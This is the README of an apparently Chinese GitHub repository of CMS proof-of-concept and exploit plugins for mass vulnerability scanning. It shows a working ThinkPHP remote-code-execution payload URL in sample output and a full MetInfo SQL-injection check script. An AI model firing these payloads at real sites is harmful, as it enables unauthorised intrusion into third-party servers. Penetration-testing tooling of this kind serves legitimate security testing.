Skip to content

1oid/cms_poc_exp

Repository files navigation

cms_poc_exp (扫描版本、兼容pocsuite3插件调用)


此项目的目的与意义

个人精力有限,故公开此项目让感兴趣的人一起搜集插件为自己/作者扫描器提供强力的驱动 如果感兴趣为本项目提供支持,可以联系本人QQ102102938

项目说明

  • 本项目插件现已支持Python3 不再兼容Python2,故若要使用 ShellFrameworkd 进行批量扫描,请自行修改插件支持Python2
  • ShellFrameworkd批量扫描将会再之后修改为支持Python3
  • ShellFrameworkd已更名为PocBatch-M并支持了Python3
  • 更新pocsuite3插件调用 20211116
  • 更新算法,新增颜色 20220301

使用说明

python3 scan.py -u "http://43.*.*.*" -m dedecms

➜  cms_poc_exp_dev git:(dev) ✗ python3 newscan.py -u "http://localhost:8080" -m thinkphp
[INFO] loaded exploits folder 31
[INFO] loaded 4 plugins for thinkphp
[NOT] check thinkphp_5_0_to_23_rce_captcha_poc2 not vulnerability
[NOT] check thinkphp_5_0_to_23_rce_captcha not vulnerability
[FIND] [ThinkphpRCE] http://localhost:8080?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
[NOT] check thinkphp_5_0_to_20_rce_captcha not vulnerability

现有的cms插件

插件编写格式,

class Exploit:

  def attack(self, url):
    # 这里写验证漏洞的一些代码
    return "返回(提示)字符串"

调用 Exploit().attack(url)

metinfo_login_lang_sql插件为例

import requests
from urllib.parse import quote

class Exploit:

    def attack(self, url):
        true_url = url + "/admin/login/login_check.php?langset=cn" + quote("' and '1' ='1")
        false_url = url + "/admin/login/login_check.php?langset=cn" + quote("' and '1' ='2")

        response = requests.get(true_url)
        response2 = requests.get(false_url)

        if 'not have this language' in response2.text and 'not have this language' not in response.text:
            return "{} has SQL Injection!".format(true_url)

插件编写注意事项

  • 拒绝重复插件, 新增了一个find.py, 通过特征来搜索已存在的脚本是否含有指定特征 使用方法:
    • 方法一: python3 find.py cms名称 特征 例如 python3 find.py dedecms /install/index.php
    • 方法二: python3 find.py 特征 例如 python3 find.py /install/index.php (如果不指定cms, 则会查找本地所有的插件)

本项目目前支持/贡献的人